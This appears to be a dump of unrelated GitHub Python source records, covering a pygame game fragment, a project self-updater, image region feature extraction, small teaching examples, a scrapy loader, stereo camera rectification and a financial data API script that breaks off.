10:\n\t\t\tg5cy=3\n\t\t\tg5cx=0\n\t\tif g5y>=125 and g5x >= 9:\n\t\t\tg5cy=0\n\t\t\tg5cx=3\n\t\tif g5y>=123 and g5x >= 450:\n\t\t\tg5cy=-3\n\t\t\tg5cx=0\n\t\tif g5y<=9 and g5x >= 450:\n\t\t\tg5cy=0\n\t\t\tg5cx=-3\t\n\n\n\t\tif g6y<=10 and g6x >= 950:\n\t\t\tg6cy=3\n\t\t\tg6cx=0\n\t\tif g6y>=125 and g6x >= 950:\n\t\t\tg6cy=0\n\t\t\tg6cx=-3\n\t\tif g6y>=123 and g6x <= 510:\n\t\t\tg6cy=-3\n\t\t\tg6cx=0\n\t\tif g6y<=9 and g6x >= 510 and g6x<950:\n\t\t\tg6cy=0\n\t\t\tg6cx=3\t \n\t\t\n\n\t\tif g7y<=835 and g7x <= 10:\n\t\t\tg7cy=3\n\t\t\tg7cx=0\n\t\tif g7y>=950 and g7x <= 20:\n\t\t\tg7cy=0\n\t\t\tg7cx=3\n\t\tif g7y>=950 and g7x >= 950:\n\t\t\tg7cy=-3\n\t\t\tg7cx=0\n\t\tif g7y<=835 and g7x >= 950:\n\t\t\tg7cy=0\n\t\t\tg7cx=-3\t\t\n\n\n\t\tg1y+=g1c\n\t\tg2x+=g2c\n\t\tg3x+=g3c\n\t\tg4y+=g4c\n\t\tg5y+=g5cy\n\t\tg5x+=g5cx\n\t\tg6y+=g6cy\n\t\tg6x+=g6cx\n\t\tg7y+=g7cy\n\t\tg7x+=g7cx\n\t\tif (lead_x,lead_y) not in c:\n\t\t\tc.append((lead_x,lead_y))\n\n\n\n\t\tgameDisplay.fill(back)\n\t\tpygame.draw.circle(gameDisplay, black, (lead_x,lead_y),30)\n\t\tBoundaries()\n\t\tFruits()\n\t\t\n\t\tfruit_eat(c)\n\t\tgameDisplay.blit(f1,(490,490))\n\t\tif (470 bool|dict:\n \"\"\"\n This function reads the required update information from the repository.\n\n :param url: The update information url address.\n :return: bool|dict\n \"\"\"\n\n try:\n return json.loads(requests.get(url).text)\n except json.JSONDecodeError:\n return False\n except requests.RequestException:\n return False\n\n\ndef read_updt_map_or_any_pif(path: Path) -> bool|dict:\n \"\"\"\n The task of this function is to read update map or any PIF.\n\n :param path: Path of PIF or update map in .json.\n :return: bool|dict\n \"\"\"\n\n try:\n return json.loads(path.read_text(encoding='utf-8'))\n except json.JSONDecodeError:\n return False\n except FileNotFoundError:\n return False\n\n\ndef is_update(sys_updt_map: dict, repo_updt_map: dict) -> bool:\n \"\"\"\n The task of this function is to check for updates.\n\n :param sys_updt_map: System update map.\n :param repo_updt_map: Repository update map.\n :return: bool\n \"\"\"\n\n return True if sys_updt_map != repo_updt_map else False\n\n\ndef dl_file(url: str, dest: Path) -> bool:\n \"\"\"\n The task of this function is to download the specified files.\n\n :param url: The URL address of the file to be downloaded.\n :param dest: update destination.\n :return: bool\n \"\"\"\n\n try:\n response: requests.Response = requests.get(url, stream=True)\n\n prg_name: str = Path(url).name\n\n with open(Path(dest, Path(url).name), \"wb\") as file:\n total_length = int(response.headers.get('content-length'))\n for chunk in progress.mill(response.iter_content(chunk_size=1024),\n label=f'Updating {prg_name}\\t',\n expected_size=(total_length / 1024) + 1):\n if chunk:\n file.write(chunk)\n file.flush()\n\n except requests.RequestException:\n return False\n\n return True\n\n\ndef update(updt_map: dict) -> None:\n \"\"\"\n The task of this function is to update the main programs.\n\n :param updt_map: Repository update map in dict.\n :return: None\n \"\"\"\n\n dl_file(url=\"https://raw.githubusercontent.com/mimseyedi/gerdoo/master/updt/updt_map.json\",\n dest=Path(Path(__file__).parent, 'updt_map.json'))\n\n MAIN_PROGRAM: dict = {'krnl': Path(Path(__file__).parent.parent, 'krnl', 'kernel.json'),\n 'shll': Path(Path(__file__).parent.parent, 'shll', 'shell.json'),\n 'mdls': Path(Path(__file__).parent.parent, 'mdls', 'gerdoolib.json')}\n\n for program, info in updt_map.items():\n pif: dict = read_updt_map_or_any_pif(path=MAIN_PROGRAM[program])\n\n if isinstance(pif, dict):\n repo_version: str = info[0]\n syst_version: str = pif[\"version\"]\n\n if repo_version != syst_version:\n for url in info[1:]:\n dl_file(url=url, dest=MAIN_PROGRAM[program].parent)\n\n else:\n print(\"\\033[91mError: A problem prevented the update. Please repair first and then try again.\\033[0m\")\n return\n\n\ndef main():\n \"\"\"\n Main function -> Start point.\n\n :return: None\n \"\"\"\n\n repo_updt: bool|dict = read_repo(url=\"https://raw.githubusercontent.com/mimseyedi/gerdoo/master/updt/updt_map.json\")\n\n if isinstance(repo_updt, dict):\n syst_updt: bool|dict = read_updt_map_or_any_pif(path=Path(Path(__file__).parent, 'updt_map.json'))\n\n if isinstance(syst_updt, dict):\n is_updt: bool = is_update(sys_updt_map=syst_updt, repo_updt_map=repo_updt)\n\n if is_updt:\n ask_to_updt: bool = confirm(\"There is an update for gerdoo. Do you want to update?\")\n\n if ask_to_updt:\n try:\n request.urlopen('http://google.com', timeout=3)\n except urllib.error.URLError:\n print(\"\\033[91mError: No internet connection.\\033[91m\\nYou must be connected to the Internet to update gerdoo.\\033[0m\")\n sys.exit()\n else:\n update(updt_map=repo_updt)\n else:\n sys.exit()\n else:\n sys.exit()\n else:\n sys.exit()\n else:\n sys.exit()\n\n\nif __name__ == '__main__':\n main()","repo_name":"mimseyedi/gerdoo","sub_path":"updt/gerdoo_updater.py","file_name":"gerdoo_updater.py","file_ext":"py","file_size_in_byte":5019,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"230832357","text":"import logging\nfrom scripts.file_viewer import MultiLayerViewer\nfrom scripts.performance_monitoring import Timer\nimport scripts.file_manager as fm\n\nimport numpy as np\nimport pandas as pd\n\n\nclass RegionFrame:\n \"\"\" A RegionFrame included every Region3D extracted from an image.\n\n Parameters\n --------\n regions: dict\n Dictionnary containing all Region3D extracted in a tiff file. Keys refers to the id of the Region3D and Values refer to the Region3D object\n map: dict\n Dictionnary containing all the Region3D ids sorted by layer index. Keys refers to the layer index and Values refer to a list of Region3D ids. This attribute facilitate the recovery of the regions included in a given layer of the file.\n cells: ndarray\n Labelled image identifying the cells of the embryos\n \"\"\"\n\n def __init__(self, df_regions, cells = None):\n region_id = 1\n regions_ids = []\n self.regions = {}\n if cells is not None:\n self.cells = cells\n for index, region in df_regions.iterrows():\n region3D = Region3D(region, region_id, 0)\n regions_ids.append(region_id)\n self.regions[region_id] = region3D\n region_id += 1\n self.map = {0: regions_ids}\n\n def get_region3D(self, region_id):\n return self.regions[region_id]\n\n def get_last_id(self):\n \"\"\" Returns the last region id recorded in the RegionFrame.\n\n :return: int\n Region3D id.\n \"\"\"\n try:\n id = max(self.regions.keys())\n except ValueError:\n id = 0\n return id\n\n def get_last_layer_id(self):\n \"\"\" Returns the id of the last layer recorded in the RegionFrame\n\n :return: int\n Last layer id\n \"\"\"\n return max(self.map.keys())\n\n def get_map(self, index):\n \"\"\" Return the map of a specfic layer.\n\n :param index: int\n Layer index\n :return: array\n List of Region3D ids included in the given layer.\n \"\"\"\n return self.map[index]\n\n def get_last_map(self):\n \"\"\" Return the map (list of Region3D ids) of the last recorded layer.\n\n :return: array\n List of Region3D ids included in the last layer.\n \"\"\"\n return self.map[self.get_last_layer_id()]\n\n def get_regions3D_in_layer(self, index):\n \"\"\" Return a dictionary of all regions 3D included in a layer.\n\n :param index: int\n Layer id\n :return: dict\n With Keys as region id and Values as the related Region3D object.\n \"\"\"\n regions3D = {}\n for i in self.get_map(index):\n region3D = self.get_region3D(i)\n regions3D[i] = region3D\n return regions3D\n\n def get_regions3D_in_last_layer(self):\n \"\"\" Return a dictionary of all regions 3D included in the last layer.\n\n :return: dict\n With Keys as region id and Values as the related Region3D object.\n \"\"\"\n return self.get_regions3D_in_layer(self.get_last_layer_id())\n\n def get_regions_in_layer(self, layer_id):\n \"\"\" Return a dictionary including with all the regions of a given layer. Each region is mapped with it related Region3D id.\n This function might be usefull for overlaping detection where only the last region (and not the full Region3D) is needed.\n\n :param layer_id: int\n Layer id\n :return: dict\n With Keys as Region3D id and Values as its related region.\n \"\"\"\n regions3D = self.get_regions3D_in_layer(layer_id)\n regions = {}\n for region_id, region3D in regions3D.items():\n regions[region_id] = region3D.get_region(layer_id)\n return regions\n\n def get_regions_in_last_layer(self):\n \"\"\" Return a dictionary including with all the regions of the last layer. Each region is mapped with it related Region3D id.\n This function might be usefull for overlaping detection where only the last region (and not the full Region3D) is needed.\n\n :return: dict\n With Keys as Region3D id and Values as its related region.\n \"\"\"\n return self.get_regions_in_layer(self.get_last_layer_id())\n\n def are_in_cell(self, df_region):\n pass\n\n def enrich_region3D(self, couples):\n \"\"\" Add new regions to the related Region3D.\n\n :param couples: dict\n Dictionary describing a map of {key: Region3D id, value: region}\n :return: array\n List of the Region3D ids which have been enriched with a new region.\n \"\"\"\n partial_map = []\n for key, item in couples.items():\n region = item\n region3D = self.get_region3D(key)\n region3D.add_layer(region)\n region3D_id = region3D.get_id()\n partial_map.append(region3D_id)\n logging.info(\"regions enriched : {}\".format(len(couples)))\n return partial_map\n\n def populate_region3D(self, new_regions):\n \"\"\" Create new Region3D from unmapped regions.\n\n :param new_regions: array\n List of regions which haven't been mapped to existing Region3D.\n :return: array\n List of Region3D ids newly created.\n \"\"\"\n partial_map = []\n new_layer_id = self.get_last_layer_id() + 1\n for id_region, region in new_regions.iterrows():\n region3D_id = self.get_last_id() + 1\n partial_map.append(region3D_id)\n region3D = Region3D(region, region3D_id, new_layer_id)\n self.regions[region3D_id] = region3D\n logging.info(\"regions created in layer {0} : {1}\".format(new_layer_id, len(new_regions)))\n return partial_map\n\n def update_map(self, existing_ids, new_ids):\n \"\"\" Add a new layer to the maps by merging existing ids (enriched) and new ids (populated).\n\n :param existing_ids: array\n List of the Region3D ids which have been enriched with a new region.\n :param new_ids:\n List of Region3D ids newly created.\n \"\"\"\n map_id = self.get_last_layer_id() + 1\n self.map[map_id] = existing_ids + new_ids\n\n def get_amount_of_regions3D(self):\n \"\"\" Return the total amount of Region3D in a RegionFrame\n \"\"\"\n return len(self.regions)\n\n def extract_features(self):\n \"\"\" Extract features from all Region3D included in a RegionFrame.\n\n :return: pandas.DataFrame\n DataFrame with region as row and features as columns.\n\n Note: For further information on features types, please refer to Region3D.extract_features\n \"\"\"\n df = pd.DataFrame()\n total = len(self.regions.values())\n i = 0\n for r in self.regions.values():\n prog = (i/total*100).round()\n if prog % 10==0:\n logging.info(\"progression {}%, {}/{} regions\".format(prog, i, total))\n features = r.extract_features()\n df = df.append(features, ignore_index=True)\n i+=1\n df.set_index('id')\n return df\n\n\n# Region 3D are implemented to work only with data dictionnaries containing the following keys :\n# 'coords', 'intensity_image', 'max_intensity', 'min_intensity', 'mean_intensity', 'centroid-0', 'centroid-1'\nclass Region3D:\n \"\"\" Collection of regions mapped over the z axis.\n\n Parameters\n --------\n id: int\n Id of the Region3D\n layers: pandas.DataFrame\n DataFrame where rows are the layer id and columns are region feature\n cell: int\n Label id of the cell in which the region is included. 0 if the region is out of cells boundaries\n \"\"\"\n\n def __init__(self, region, id, layer_id, cell=0):\n self.id = id\n data = {key: [value] for key, value in region.items()}\n self.layers = pd.DataFrame(data, index=[layer_id])\n\n def add_layer(self, region):\n \"\"\" Add a layer to the Region3D.\n\n :param region: pandas.Series\n Serie including all features of the region to add.\n \"\"\"\n layer_index = max(self.layers.index.values) + 1\n region = region.rename(layer_index)\n self.layers = self.layers.append(region)\n\n def get_region(self, layer_index):\n \"\"\"Return region from a given layer index\n\n :param layer_index: int\n Layer index\n :return: pandas.Series\n Series including the features of the related region\n \"\"\"\n return self.layers.loc[layer_index]\n\n def get_id(self):\n \"\"\" Return the id of the Region3D\n\n :return: int\n Region3D id\n \"\"\"\n return self.id\n\n def get_cell(self):\n cells = []\n for i, r in self.layers.iterrows():\n cells.append(r['cell'])\n unique = np.unique(np.array(cells))\n cell = unique[0]\n if len(unique) > 1:\n logging.debug(\"More than one cell contains the region {}\".format(self.id))\n return cell\n\n\n # Features extraction for classification\n def get_depth(self):\n \"\"\" Return the amount of layer included in the Region3D.\n\n :return: int\n Depth of the Region3D\n \"\"\"\n return len(self.layers.index)\n\n def get_area(self):\n area = 0\n for i, r in self.layers.iterrows():\n area += r['area']\n return area\n\n def get_coords(self):\n coords_3D = []\n for layer_id, r in self.layers.iterrows():\n layer_coords = [[coord[0], coord[1], layer_id] for coord in r['coords']]\n coords_3D += layer_coords\n return coords_3D\n\n def get_layers(self):\n return list(self.layers.keys())\n\n def get_total_intensity(self):\n total_intensity = 0\n for layer_id, r in self.layers.iterrows():\n total_intensity += np.sum(r['intensity_image'])\n return total_intensity\n\n def get_mean_intensity(self):\n mean = self.get_total_intensity() / self.get_area()\n return mean\n\n def get_max_intensity(self):\n maxs = []\n for layer_id, r in self.layers.iterrows():\n maxs.append(r['max_intensity'])\n max = np.max(maxs)\n return max\n\n def get_min_intensity(self):\n mins = []\n for layer_id, r in self.layers.iterrows():\n mins.append(r['min_intensity'])\n min = np.min(mins)\n return min\n\n def get_centroid_3D(self):\n centroids = self.get_local_centroids()\n y = int(np.sum([c[0] for c in centroids]) / float(len(centroids)))\n x = int(np.sum([c[1] for c in centroids]) / float(len(centroids)))\n z = np.mean(self.layers.index.values).astype(int)\n return x, y, z\n\n def get_local_centroids(self):\n centroids = []\n for layer_id, r in self.layers.iterrows():\n centroids.append((r['centroid-0'], r['centroid-1']))\n return centroids\n\n def get_extent(self):\n \"\"\"Ratio of pixels in the region to pixels in the total bounding box. Computed as area / (rows * cols * height)\"\"\"\n coords = np.array(self.get_coords())\n rows = np.amax(coords[:, 0]) - np.amin(coords[:, 0]) + 1\n cols = np.amax(coords[:, 1]) - np.amin(coords[:, 1]) + 1\n height = np.amax(coords[:, 2]) - np.amin(coords[:, 2]) + 1\n extent = self.get_area() / np.prod([rows, cols, height])\n return extent\n\n def get_convex_area(self):\n \"\"\"Sum of the area surrounded by the smallest hull polygon of each layer\"\"\"\n c_area = 0\n for i, r in self.layers.iterrows():\n c_area += r['convex_area']\n return c_area\n\n def get_solidity(self):\n \"\"\"Ratio of pixels in the region to pixels in the convex hull polygon. Computed as area / convex_area\"\"\"\n\n return self.get_area() / self.get_convex_area()\n\n def extract_features(self):\n \"\"\" Return the computed features of the Region3D. These features includes:\n - \"id\": id of the Region3D,\n - \"depth\": depth of the Region3D,\n - \"area\": Total area covered by all regions of the Region3D,\n - \"total_intensity\": Sum of the intensities from all regions of the Region3D,\n - \"mean_intensity\": Ratio of total intensity over total area,\n - \"max_intensity\": maximum intensity over each region,\n - \"min_intensity\": minimum intensity over each region,\n - \"centroid_x\": x coordinate of the Region3D centroid,\n - \"centroid_y\": y coordinate of the Region3D centroid,\n - \"centroid_z\": z coordinate of the Region3D centroid,\n - \"extent\": Ratio of pixels in the region to pixels in the total bounding box.\n - \"solidity\": Ratio of the region area with the area of the smallest hull polygon that that surround the region\n - \"in_cell\": True is the region is included in a cell\n :return: dict\n Dictionnary including Region3D's features.\n \"\"\"\n # Todo : add the solidity of the image as feature of Region3D\n\n ids = self.id\n depth = self.get_depth()\n areas = self.get_area()\n total_intensity = self.get_total_intensity()\n mean_intensity = self.get_mean_intensity()\n max_intensity = self.get_max_intensity()\n min_intensity = self.get_min_intensity()\n x, y, z = self.get_centroid_3D()\n extent = self.get_extent()\n solidity = self.get_solidity()\n in_cell = self.get_cell()\n\n features = {\"id\": ids,\n \"depth\": depth,\n \"area\": areas,\n \"total_intensity\": total_intensity,\n \"mean_intensity\": mean_intensity,\n \"max_intensity\": max_intensity,\n \"min_intensity\": min_intensity,\n \"centroid_x\": x,\n \"centroid_y\": y,\n \"centroid_z\": z,\n \"extent\": extent,\n \"solidity\": solidity,\n \"cell\": in_cell\n }\n return features\n","repo_name":"Galsor/Protein_image_processing","sub_path":"scripts/region_3d.py","file_name":"region_3d.py","file_ext":"py","file_size_in_byte":14058,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"26449600654","text":"#parent class\nclass Vehicle:\n current_year = 2022\n base_price = 10000\n def __init__(self,fuel,model):\n self.__fuel = fuel #private attr\n self.model = model\n #private method\n def __print_value(self):\n age =Vehicle.current_year -self.model\n print(\"parent class method\")\n return Vehicle.base_price * (1/age)\nclass Car(Vehicle):\n\n # must add parent class instance attr also\n def __init__(self,fuel,model,a_c,sunroof):\n #define super fn with class name and self\n super(Car,self).__init__(fuel,model)\n self.a_c=a_c\n self.sunroof = sunroof\n\n # method overriding - replace parent default method\n def __print_value(self):\n Vehicle.base_price = 5000\n age =Vehicle.current_year -self.model\n print(\"Child class method\")\n print(self.a_c)\n return Vehicle.base_price * (1/age)\nobj = Car(\"Petrol\",2020,True,False)\nprint(obj._Car__print_value()) # print child method\n\nparentObj = Vehicle(\"Diesel\",2019)\nprint(parentObj._Vehicle__print_value())","repo_name":"bsdharshini/OOPS-2","sub_path":"d_method_overriding.py","file_name":"d_method_overriding.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"22908344733","text":"class Solution:\n def findMaxConsecutiveOnes(self, nums: List[int]) -> int:\n temp, ans = 0, 0\n for num in nums:\n if num == 1:\n temp += 1\n ans = max(ans, temp)\n else:\n temp = 0\n return ans","repo_name":"parthrohilla/Leetcode-Solutions","sub_path":"485-max-consecutive-ones/485-max-consecutive-ones.py","file_name":"485-max-consecutive-ones.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"37810299049","text":"import click\nfrom logging_monitor.common import add_log\n\n\n@click.command()\n@click.option(\"--level\", help=\"Log level\")\n@click.option(\"--message\", help=\"Log message\")\ndef log(level, message):\n msg = add_log(level, message)\n click.echo(msg)\n\n\nif __name__ == \"__main__\":\n log()\n","repo_name":"DziurewiczPiotr/logging-monitor","sub_path":"logging_monitor/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"28646144364","text":"# 提供下载地址的下载类资源网站\n\n'''\n 跟网站结构相关的分析全抽离在这里,当网站改版时可以单独更新,而不影响主线策略\n'''\nimport time\nimport scrapy\nfrom scrapy.contrib.loader import ItemLoader\n\nfrom .url_setting import *\nfrom .mySetting import *\n\nclass TrimAll(object):\n def __call__(self, values):\n vlist =[]\n for s in values:\n vlist.append(s.replace(' ','').replace('\\r\\n',''))\n return vlist\n\n#主入口的主体 用于循环\ndef GetMainCrycle(response):\n return response.css('.k_list-lb')\n\n#主入口页面的翻页、找下一页\ndef Get_NextPage(response):\n next_url = response.css('.k_pape').xpath('a[text()=\"下一页\"]/@href').extract()\n if(len(next_url)>0):\n return scheme+allowed_domains[0]+next_url[0]\n else:\n return ''\n\n#点击进去的地址\ndef GetContent_URL(item_selector):\n content_url = item_selector.xpath('.//*[@class=\"k_list-lb-2\"]/div[1]/a/@href').extract()\n if len(content_url) > 0 :\n return scheme+allowed_domains[0]+content_url[0]\n else:\n return ''\n\n# 爬文章列表 取标题、预览、文章实际地址、发起日期等信息\ndef Loader_index(self,item_selector):\n l = ItemLoader(item={}, selector = item_selector)\n\n conver_img=l.get_xpath('.//*[@class=\"lz_img\"]/img/@src')\n\n l.add_xpath('title', './/*[@class=\"k_list-lb-2\"]/div[1]/a[1]/text()')\n l.add_xpath('url', './/*[@class=\"k_list-lb-2\"]/div[1]/a/@href')\n l.add_value('preview', conver_img)\n l.add_css('date', '#k_list-lb-2-f::text',re=r'(\\d{4}-\\d{2}-\\d{2})')\n l.add_value('image_urls',conver_img)\n return l.load_item()\n\n\n# 爬文章页 取标题、封面、预览、下载地址、发起日期信息\ndef Loader_content(response):\n l = ItemLoader(item={}, response = response)\n l.add_css('title','.k_jianjie-3a-1-name::text')\n l.add_value('date',l.get_xpath('//*[@class=\"k_jianjie-3a-2b\"]/text()')[2])\n #l.add_value('url',_response.url[len(self._scheme+\"//\"+self.allowed_domains[0]):])\n l.add_css('down','.k_jianjie-3a-5down::text',TrimAll())\n\n conver_img=l.get_xpath('//*[@id=\"k_jianjie-2b\"]/a/img/@src')\n content_img=l.get_xpath('//*[@class=\"content\"]/p/img/@src')\n l.add_value('src_url',response.url)\n l.add_value('preview',conver_img)\n l.add_value('content',content_img)\n l.add_value('image_urls',conver_img+content_img)\n print('正下载图片:',conver_img+content_img)\n #time.sleep(len(conver_img+content_img))\n return l.load_item()\n\n","repo_name":"C0618C/PyWebCrawler","sub_path":"website/dwLoader.py","file_name":"dwLoader.py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"34369606128","text":"# when fun has yield instead of return it becomes generator function and returns iterator\nimport time\ndef num_series(n):\n for i in range(1,n+1):\n time.sleep(1)\n yield i\n\n\nseries =num_series(10)\n# get next item in iterator fun\nprint(next(series))\n\n# iterating all items\nfor item in num_series(5):\n print(item)","repo_name":"premaseem/pythonLab","sub_path":"concepts/generator/generator_func.py","file_name":"generator_func.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"42580685957","text":"#!/usr/bin/python3\n##Reference\n\n#[1] https://docs.opencv.org/4.x/d9/d0c/group__calib3d.html\n#[2]https://docs.opencv.org/4.x/d9/d0c/group__calib3d.html\n\nimport os\nimport numpy as np\nimport cv2 as cv\nfrom matplotlib import pyplot as plt\nfrom params import *\n\nclass calibration:\n def __init__(self):\n self.imageL = cv.imread(\"ZL0_0050_0671382043_081ECM_N0031950ZCAM08013_063085J01.png\")\n self.imageR = cv.imread(\"ZR0_0050_0671382043_081ECM_N0031950ZCAM08013_063085J01.png\")\n\n cv.imshow(\"left\", self.imageL)\n cv.imshow(\"right\", self.imageR)\n cv.waitKey(0)\n\n xmls = list()\n for files in os.listdir():\n if files.endswith('.xml'):\n xmls.append(files)\n\n pixelSize = 0.0074#size in mm\n shapeL = self.imageL.shape[:-1]\n shapeR = self.imageL.shape[:-1]\n params = Params(xmls, pixelSize, shapeL)\n\n\n\n ########## Stereo Rectification #################################################\n\n rectifyScale= 0\n rectL, rectR, projMatrixL, projMatrixR, Q, roi_L, roi_R= cv.stereoRectify(params.cameraMatrixL, params.distL,\n params.cameraMatrixR, params.distR, shapeR, params.extrinscis['R'], params.extrinscis['T'], rectifyScale,(0,0))\n stereoMapL = cv.initUndistortRectifyMap(params.cameraMatrixL, params.distL, rectL, projMatrixL, shapeL, cv.CV_16SC2)\n stereoMapR = cv.initUndistortRectifyMap(params.cameraMatrixR, params.distR, rectR, projMatrixR, shapeR, cv.CV_16SC2)\n\n imgL = cv.remap(self.imageL, stereoMapL[0], stereoMapL[1], cv.INTER_LANCZOS4, cv.BORDER_CONSTANT, 0)\n imgR = cv.remap(self.imageR, stereoMapR[0], stereoMapR[1], cv.INTER_LANCZOS4, cv.BORDER_CONSTANT, 0)\n\n cv.imwrite(\"UndistortR.png\", imgR) \n cv.imwrite(\"UndistortL.png\", imgL)\n cv.waitKey(0)\n\n\n grayL = cv.cvtColor(imgL, cv.COLOR_BGR2GRAY)\n grayR = cv.cvtColor(imgR, cv.COLOR_BGR2GRAY)\n\n\n # Set disparity parameters\n # Note: disparity range is tuned according to specific parameters obtained through trial and error. \n block_size = 15\n min_disp = -1\n max_disp = 31\n num_disp = max_disp - min_disp # Needs to be divisible by 15\n\n # Create Block matching object. \n stereo = cv.StereoSGBM_create(minDisparity= min_disp,\n numDisparities = num_disp,\n blockSize = block_size,\n uniquenessRatio = 5,\n speckleWindowSize = 5,\n speckleRange = 2,\n disp12MaxDiff = 2,\n P1 = 8 * 3 * block_size**2,#8*img_channels*block_size**2,\n P2 = 32 * 3 * block_size**2) #32*img_channels*block_size**2)\n\n\n #stereo = cv2.StereoBM_create(numDisparities=num_disp, blockSize=win_size)\n\n # Compute disparity map\n disparity_map = stereo.compute(grayL, grayR)\n\n # Show disparity map before generating 3D cloud to verify that point cloud will be usable. \n plt.imshow(disparity_map,'gray')\n plt.show()\n\n\n #print(disparity_map.dtype)\n disparity_map = np.float32(np.divide(disparity_map, 16.0))\n #print(disparity_map.dtype)\n\n # Reproject points into 3D\n points_3D = cv.reprojectImageTo3D(disparity_map, Q, handleMissingValues=False)\n # Get color of the reprojected points\n colors = cv.cvtColor(imgR, cv.COLOR_BGR2RGB)\n\n # Get rid of points with value 0 (no depth)\n mask_map = disparity_map > disparity_map.min()\n # Mask colors and points. \n output_points = points_3D[mask_map]\n output_colors = colors[mask_map]\n create_point_cloud_file(output_points, output_colors, 'point8.ply')\n\n\n\ndef create_point_cloud_file(vertices, colors, filename):\n colors = colors.reshape(-1,3)\n vertices = np.hstack([vertices.reshape(-1,3),colors])\n\n ply_header = '''ply\n format ascii 1.0\n element vertex %(vert_num)d\n property float x\n property float y\n property float z\n property uchar red\n property uchar green\n property uchar blue\n end_header\n '''\n with open(filename, 'w') as f:\n f.write(ply_header %dict(vert_num=len(vertices)))\n np.savetxt(f,vertices,'%f %f %f %d %d %d')\n\nif __name__ == '__main__':\n calibration()\n","repo_name":"JayamuruganRavikumar/planetarySurfaces_3DRecon","sub_path":"perserverance/scripts/calibrated/stereoCalibrate.py","file_name":"stereoCalibrate.py","file_ext":"py","file_size_in_byte":4293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"74507047140","text":"# -*- coding: utf-8 -*-\nfrom EmQuantAPI import *\nfrom datetime import timedelta, datetime\nimport time as _time\nimport traceback\nfrom datetime import *\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport xlwings as xw\nimport xlrd\nimport numpy as np\nimport pandas as pd\nfrom pandas import DataFrame\nfrom pylab import mpl\nfrom pandas.plotting import table\nimport plotly_express as px\nimport plotly.graph_objects as go\n\ndef mainCallback(quantdata):\n \"\"\"\n mainCallback 是主回调函数,可捕捉如下错误\n 在start函数第三个参数位传入,该函数只有一个为c.EmQuantData类型的参数quantdata\n :param quantdata:c.EmQuantData\n :return:\n \"\"\"\n print (\"mainCallback\",str(quantdata))\n #登录掉线或者 登陆数达到上线(即登录被踢下线) 这���所有的服务都会停止\n if str(quantdata.ErrorCode) == \"10001011\" or str(quantdata.ErrorCode) == \"10001009\":\n print (\"Your account is disconnect. You can force login automatically here if you need.\")\n #行情登录验证失败(每次连接行情服务器时需要登录验证)或者行情流量验证失败时,会取消所有订阅,用户需根据具体情况处理\n elif str(quantdata.ErrorCode) == \"10001021\" or str(quantdata.ErrorCode) == \"10001022\":\n print (\"Your all csq subscribe have stopped.\")\n #行情服务器断线自动重连连续6次失败(1分钟左右)不过重连尝试还会继续进行直到成功为止,遇到这种情况需要确认两边的网络状况\n elif str(quantdata.ErrorCode) == \"10002009\":\n print (\"Your all csq subscribe have stopped, reconnect 6 times fail.\")\n # 行情订阅遇到一些错误(这些错误会导致重连,错误原因通过日志输出,统一转换成EQERR_QUOTE_RECONNECT在这里通知),正自动重连并重新订阅,可以做个监控\n elif str(quantdata.ErrorCode) == \"10002012\":\n print (\"csq subscribe break on some error, reconnect and request automatically.\")\n # 资讯服务器断线自动重连连续6次失败(1分钟左右)不过重连尝试还会继续进行直到成功为止,遇到这种情况需要确认两边的网络状况\n elif str(quantdata.ErrorCode) == \"10002014\":\n print (\"Your all cnq subscribe have stopped, reconnect 6 times fail.\")\n # 资讯订阅遇到一些错误(这些错误会导致重连,错误原因通过日志输出,统一转换成EQERR_INFO_RECONNECT在这里通知),正自动重连并重新订阅,可以做个监控\n elif str(quantdata.ErrorCode) == \"10002013\":\n print (\"cnq subscribe break on some error, reconnect and request automatically.\")\n # 资讯登录验证失败(每次连接资讯服务器时需要登录验证)或者资讯流量验证失败时,会取消所有订阅,用户需根据具体情况处理\n elif str(quantdata.ErrorCode) == \"10001024\" or str(quantdata.ErrorCode) == \"10001025\":\n print(\"Your all cnq subscribe have stopped.\")\n else:\n pass\n\ndef startCallback(message):\n print(\"[EmQuantAPI Python]\", message)\n return 1\ndef csqCallback(quantdata):\n \"\"\"\n csqCallback 是csq订阅时提供的回调函数模板。该函数只有一个为c.EmQuantData类型的参数quantdata\n :param quantdata:c.EmQuantData\n :return:\n \"\"\"\n print (\"csqCallback,\", str(quantdata))\n\ndef cstCallBack(quantdata):\n '''\n cstCallBack 是日内跳价服务提供的回调函数模板\n '''\n for i in range(0, len(quantdata.Codes)):\n length = len(quantdata.Dates)\n for it in quantdata.Data.keys():\n print(it)\n for k in range(0, length):\n for j in range(0, len(quantdata.Indicators)):\n print(quantdata.Data[it][j * length + k], \" \",end = \"\")\n print()\ndef cnqCallback(quantdata):\n \"\"\"\n cnqCallback 是cnq订阅时提供的回调函数模板。该函数只有一个为c.EmQuantData类型的参数quantdata\n :param quantdata:c.EmQuantData\n :return:\n \"\"\"\n # print (\"cnqCallback,\", str(quantdata))\n print(\"cnqCallback,\")\n for code in quantdata.Data:\n total = len(quantdata.Data[code])\n for k in range(0, len(quantdata.Data[code])):\n print(quantdata.Data[code][k])\n\ntry:\n #调用登录函数(激活后使用,不需要用户名密码)\n loginResult = c.start(\"ForceLogin=1\", '', mainCallback)\n if(loginResult.ErrorCode != 0):\n print(\"login in fail\")\n exit()\n\n # 市场特征\n date = datetime.today().strftime(\"%Y-%m-%d\")\n # 指数涨幅\n xg5=c.css(\"300418.SZ,002191.SZ,002815.SZ,000776.SZ\",\"NAME,DIFFERRANGEN\",\"N=-5,TradeDate=\"+date+\",AdjustFlag=1, Ispandas=1\")\n 